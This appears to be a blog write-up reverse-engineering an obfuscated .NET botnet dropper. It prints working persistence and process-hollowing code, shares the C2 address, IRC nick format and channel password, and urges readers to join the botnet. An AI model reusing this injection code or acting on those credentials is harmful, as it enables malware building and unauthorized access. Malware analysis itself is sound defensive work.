reversing a botnet 2 – electric boogaloo

It happened again at work. This time twice the number of machines hit.

The same people hit my company, and they took my advice when I last spoke to them – they obfuscated the executable to make it harder to perform a routine reverse engineering analysis.

In this particular case, the obfuscation used was compiled into the resource files. Resource file are things like cursors, bitmaps and images commonly loaded into the .resc or .resx at compile time. Programs use this section header as storage, however since the section is usually RWX (Read Write Execute), I have seen programs stuff executable code inside this section.

Today the application in question is a .net binary. Firing up ILspy, we get to have a look see at this seemingly harmless binary.
newbotnet

Right off the bat something doesn’t seem right. The function ‘Main()’ is invoking an assembly via the ResourceManager object from within the ‘getpop’ method. According to MSDN, the ResourceManager object is used for managing internal and external resource files. Why is this important? Take a look at this:
newbotnet2

The 2 resource files called contain binary code. Scrolling further through said code, you see what looks like function names, only reversed. Like etubirttAdetareneGrelipmoC and niamoDtnerruC_teg which translate to CompilerGeneratedAttribute and get_CurrentDomain. Another dead give away is towards the bottom of the akrow.resources file:
“.edom SOD ni nur eb tonnac margorp sihT!”
The string shown at the beginning of every exe, the tiny COM file throwback to the old dos days! “This proggram cannot be run in DOS mode.”. Clearly this is the meat and potatoes of our application and the the code we see in reflector / ILspy is just the loader.

For shits and giggles, lets reverse the text in the entire file and see if it loads. After all, this is an independent application. I’m coding this in C# as to mimic the ‘work()’ function from within the loader app. Recall this code? “return Encoding.GetEncoding(0x4e4).GetBytes(new string(array));” The GetEncoding() function returns the valid encoding according to a numeric code page. 0x4e4 in hex is 1252 which means the program is using Western European (Latin) encoding.

Here is my code for turning the resource file into an executable. I kept it small.


using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
public class Program
    {
        static void Main(string[] args)
        {
            string revfile = “D:\\downloads\\resx\\worka.resources“;
      string newfile = “D:\\downloads\\resx\\worka.resources.exe“;
            StreamReader sr = new StreamReader(revfile, Encoding.GetEncoding(1252));
            StreamWriter sw = new StreamWriter(newfile, true, Encoding.GetEncoding(1252));
            string reversed = ReverseString(sr.ReadToEnd());
            sr.Close(); sw.Write(reversed); sw.Close();
        }
        public static string ReverseString(string s)
        {
            char[] arr = s.ToCharArray();
            Array.Reverse(arr);
            return new string(arr);
        }
    }

From my end, the ‘reversing’ (no pun intended) went off without a hitch on both files. The larger file of the 2 contained nothing useful to us (yet) other than what looked like a bunch of base 64 encoded data, however the second smaller file yielded fruit. My suspicions were correct, the second resource file is executable, however not a standard exe, but rather a dll.

Have a look:
newbotnet3

Note the modules in our list. ‘workings’, and ‘QuickLZ’. For those who don’t know, QuickLZ is an open source LZMA compression library. Check it.

Expanding ‘workings’, we see the loader / dropper commands, where it launches itself and where it hides out.


public class workings
{
    // Fields
    public static Random r = new Random();
    // Methods
    public static void Begin(string name, bool stealth)
    {
        if (stealth)
        {
            Registry.CurrentUser.OpenSubKey(@“Software\Microsoft\Windows NT\CurrentVersion\Winlogon“, true).SetValue(“shell“, “explorer.exe,\““ + Process.GetCurrentProcess().MainModule.FileName + “\““);
        }
        else
        {
            Registry.CurrentUser.OpenSubKey(@“SOFTWARE\Microsoft\Windows\CurrentVersion\Run“, true).SetValue(name, Process.GetCurrentProcess().MainModule.FileName);
        }
    }
 

Not very stealthy, but whatever. You may be wondering how it loads the second resource file we uncovered. It does so in the ‘MakeMe’ method. Its rather complex, so tread lightly.

public static void MakeMe(byte[] bytes, bool runInMemory, [Optional, DefaultParameterValue(“.exe“)] string bndext)
    {
        try
        {
            byte[] buffer = getData(bytes);
            string tempPath = Path.GetTempPath();
            string str2 = Path.GetDirectoryName(Environment.SystemDirectory) + @“\Microsoft.NET\Framework\v2.0.50727\cvtres.exe“;
            if (!runInMemory)
            {
                Random random = new Random();
                string str3 = rndmkey(random.Next(3, 7));
                File.WriteAllBytes(tempPath + str3 + bndext, buffer);
                ShellExecuteA(IntPtr.Zero, “open“, tempPath + str3 + bndext, null, null, 10);
            }
            else if (isdotnet(buffer))
            {
                Run(buffer);
            }
            else
            {
                IntPtr zero = IntPtr.Zero;
                IntPtr[] pInfo = new IntPtr[4];
                byte[] sInfo = new byte[0x44];
                int num = BitConverter.ToInt32(buffer, 60);
                int num2 = BitConverter.ToInt16(buffer, num + 6);
                IntPtr ptr2 = new IntPtr(BitConverter.ToInt32(buffer, num + 0x54));
                if (CreateProcess(null, new StringBuilder(str2), zero, zero, false, 4, zero, null, sInfo, pInfo))
                {
                    uint[] ctxt = new uint[0xb3];
                    ctxt[0] = 0x10002;
                    if (GetThreadContext(pInfo[1], ctxt))
                    {
                        IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L);
                        IntPtr bufr = IntPtr.Zero;
                        IntPtr ptr5 = new IntPtr(4);
                        IntPtr numRead = IntPtr.Zero;
                        if (ReadProcessMemory(pInfo[0], baseAddr, ref bufr, (int) ptr5, ref numRead) && (NtUnmapViewOfSection(pInfo[0], bufr) == 0))
                        {
                            int num3;
                            IntPtr addr = new IntPtr(BitConverter.ToInt32(buffer, num + 0x34));
                            IntPtr size = new IntPtr(BitConverter.ToInt32(buffer, num + 80));
                            IntPtr lpBaseAddress = VirtualAllocEx(pInfo[0], addr, size, 0x3000, 0x40);
                            WriteProcessMemory(pInfo[0], lpBaseAddress, buffer, (uint) ((int) ptr2), out num3);
                            int num4 = num2 – 1;
                            for (int i = 0; i <= num4; i++)
                            {
                                int[] dst = new int[10];
                                Buffer.BlockCopy(buffer, (num + 0xf8) + (i * 40), dst, 0, 40);
                                byte[] buffer3 = new byte[(dst[4] - 1) + 1];
                                Buffer.BlockCopy(buffer, dst[5], buffer3, 0, buffer3.Length);
                                size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]);
                                addr = new IntPtr(buffer3.Length);
                                WriteProcessMemory(pInfo[0], size, buffer3, (uint) ((int) addr), out num3);
                            }
                            size = new IntPtr(ctxt[0x29] + 8L);
                            addr = new IntPtr(4);
                            WriteProcessMemory(pInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint) ((int) addr), out num3);
                            ctxt[0x2c] = (uint) (lpBaseAddress.ToInt32() + BitConverter.ToInt32(buffer, num + 40));
                            SetThreadContext(pInfo[1], ctxt);
                        }
                    }
                    ResumeThread(pInfo[1]);
                }
            }
        }
        catch
        {
        }
    }
 

First thing you'll notice is the use of 'cvtres.exe'. If you have .net 2 or higher, you have this installed. Information on this app is scarce, but the description tells all - "Microsoft® Resource File To COFF Object Conversion Utility". A converter for taking '.resources' files and converting them into COFF objects, or simply an executable as COFF / PE are one in the same.

Reading through the complicated code, it looks like a form of Dll injection since why else would you call WriteProcessMemory() after creating a process? If I'm wrong, call me out, but I have a feeling I'm right.

Now let's focus on getting what we can out of the other meaty looking resource file. I keep seeing a call to a function named 'getData' to supply the actual file to run / execute. Let's look at that function.


public static byte[] getData(byte[] shit)
{
    List<byte> list = new List<byte>();
    return QuickLZ.decompress(work(Convert.FromBase64String(Encoding.GetEncoding(0x4e4).GetString(shit))));
}
  

Recall the first modules from earlier? QuickLZ? That’s our decompression module. The function takes a byte array as an argument and returns one.
What its doing is returning the decompressed stream from the function ‘work’ which looks rather familiar. In fact, its taken right from the original exe!

public static byte[] work(byte[] shit)
{
    char[] array = Encoding.GetEncoding(0x4e4).GetString(shit).ToCharArray();
    Array.Reverse(array);
    return Encoding.GetEncoding(0x4e4).GetBytes(new string(array));
}
  

So its decompressing the reversed byte array, which is converted from a base64 string with our code page from before 1252 (latin). How much do you want to bet we can use these 2 functions against our other encoded file along with QuickLZ? Let’s take a look.

Using the same program we used to ‘reverse’ our resource files, lets rip the code from the QuickLZ module directly and use it to decompress that other resource file as this is easier than downloading and compiling the library. Just copy and paste from reflector into visual studio like so:
newbotnet4

So how do we put it all together? Refer back to the original exe’s ‘Main()’ method, specifically the last command before returning.


public static void Main()
{
    getpop(“test“, “akrow“);
    dat = Assembly.Load(work(list.ToArray()));
    list = new List<byte>();
    getpop(“an“, “worka“);
    Invoke(“Scribe“, new object[] { list.ToArray(), true });
}
 

See? Before the function returns, it invokes the method ‘Scribe()’ which we now have a listing for thanks to our dll listing:

public static bool Scribe(byte[] bytes, bool start)
    {
        try
        {
            byte[] buffer = getData(bytes);
            string path = Path.GetTempPath() + rndmkey(5) + “.exe“;
            File.WriteAllBytes(path, buffer);
            if (start)
            {
                Thread.Sleep(100);
                Process.Start(path);
            }
            return true;
        }
        catch
        {
            return false;
        }
    }
 

We need only make some minor alterations to our original program to decrypt the program now since I want to work with a byte stream instead of directly working with strings. Of course nothing in life is ever easy, I’ve run into a problem. Simply loading the file in as a byte stream is not enough. After all it is a resource file. Visual studio complains about the file not containing proper base 64 encoded data:
newbotnet5

To solve this issue, let us refer back to the original program.


public static void Main()
{
    getpop(“test“, “akrow“);
    dat = Assembly.Load(work(list.ToArray()));
    list = new List<byte>();
    getpop(“an“, “worka“);
    Invoke(&#8220;Scribe&#8221;, new object[] { list.ToArray(), true });
}
 

We’re interested in the method ‘getpop’ since it seems to deal directly with out resource file. Let’s inspect the source.

public static void getpop(string nName, string res)
{
    ResourceManager manager = new ResourceManager(res, Assembly.GetExecutingAssembly());
    for (int i = 0; i < 0x5729; i++)
    {
        try
        {
            if (nName == “test“)
            {
                list.AddRange((byte[]) manager.GetObject(“test“));
                break;
            }
            string name = nName + i;
            byte[] collection = (byte[]) manager.GetObject(name);
            list.AddRange(collection);
        }
        catch
        {
            break;
        }
    }
}
 

It's creating a byte list (which is like an abstract array) with the resource manager object entries, looping through fields named 'test' a total of 22313 times even though there's only like 143 entries. Weird. This makes sense when you look at the disassembled view in Reflector:
newbotnet6

So what do we need to do now? We need to somehow get the byte streams from the resource file and into a List / file so we can feed it into our decryption application. There are 2 ways. Option 1 is to rip the code off some more and attempt to load the resource file directly the same way the app does, but this may or may not work. For option 2, we can load the resource file into visual studio which has a new resource and copy / paste directly from its resource manager.

Option 1 failed for me because I couldn’t ascertain how to convert a List data type to a byte stream. Option 2 will have to do. I used a different .net decompiler on the resource files – ‘JetBrains DotPeek’. This decompiler seems to work a lot better than the other decompilers including RedGate Reflector as it was able to produce a clear XML file of the data contained within:
newbotnet7

After some finagling, I got my decryptor to work, but its a slow process. You have to take each entry from each XML value and copy / paste into a file in order to preserve base64’s integrity. My decryptor will take every file in a directory and run it through the decryption routine, but then I realized, it should probably be done in order.

1329023952948
Fuck this shit. Besides, I already know what the damn thing is – an IRC client. I know this because I ran wireshark against it in conjunction with Reflector / Reflexil. Let’s take a look shall we?

Running netstat revealed a program with a messed up name connected to some IP address ‘37.235.49.168’ over port 443. This is odd as this is usually used by HTTPS.
Running an nmap syn scan shows this ip as still being up and running some sort of IRC server.
newbotnet8

Before we join, lets make sure we look like one of the bots as to elude suspicions. Filtering the IP address into wireshark, we see the following:
newbotnet9

See it? NICK zwin-LOAPOA|971| or zwin-5chandomchars-|3 random numbers|

Another thing you’ll need is the right username (Separate from the Nickname). The packet dump mentioned the user “ImGay“.

I joined the IRC server, but it wouldn’t let me look at any of the users / channels meaning they’re password protected.
Taking another look at our wireshark pcap results, we see the following:
newbotnet10

Another IRC command, this time with the password. JOIN #test godlol.

Now that we have the username, the password to join the channel, and the server name, we are free to troll the botnet operators. Since I’m doing this from home, I don’t feel like throwing rocks at the hornet’s nest again. I’ll leave that to my loyal readers. In fact, I’d like to thank my readers or whoever the hell did something about the last botnet because not 1 week after posting about it, they took the botnet down. Is the pen really mightier than the sword or was just coincidence?

If you want to finish what I started, be my guest – Pain. Inside is the source code to my decryptor, the botnet client exe, the dll I ripped from the first resource, and the XML file which contains the base64 encoded data for the second exe.

I just thought of one thing you could probably do to skip over the decryptor and base64 crap. Remember how Main invokes that ‘Scribe()’ method in the managed DLL? Just make some adjustments with reflexil so that way the new application is


public static bool Scribe(byte[] bytes, bool start)
{
    try
    {
        byte[] buffer = getData(bytes);
        string path = Path.GetTempPath() + rndmkey(5) + “.exe“;
        File.WriteAllBytes(path, buffer);
        if (start)
        {
            // Thread.Sleep(100);
            //Process.Start(path);
            //Replace with
            System.Threading.Thread.Sleep(1000000000);
            Environment.Exit(0);
        }
        return true;
    }
    catch
    {
        return false;
    }
}
 

Of course, you’ll have to recompile the dll, then ‘reverse’ it again, before planting it as a resource with the name ‘akrow.resources’ again, unless you can do it live. I’ve heard WolfGate can do this.

Good luck. And happy cracking.

1223480381495

Tags: , , , , , , ,

Leave a Reply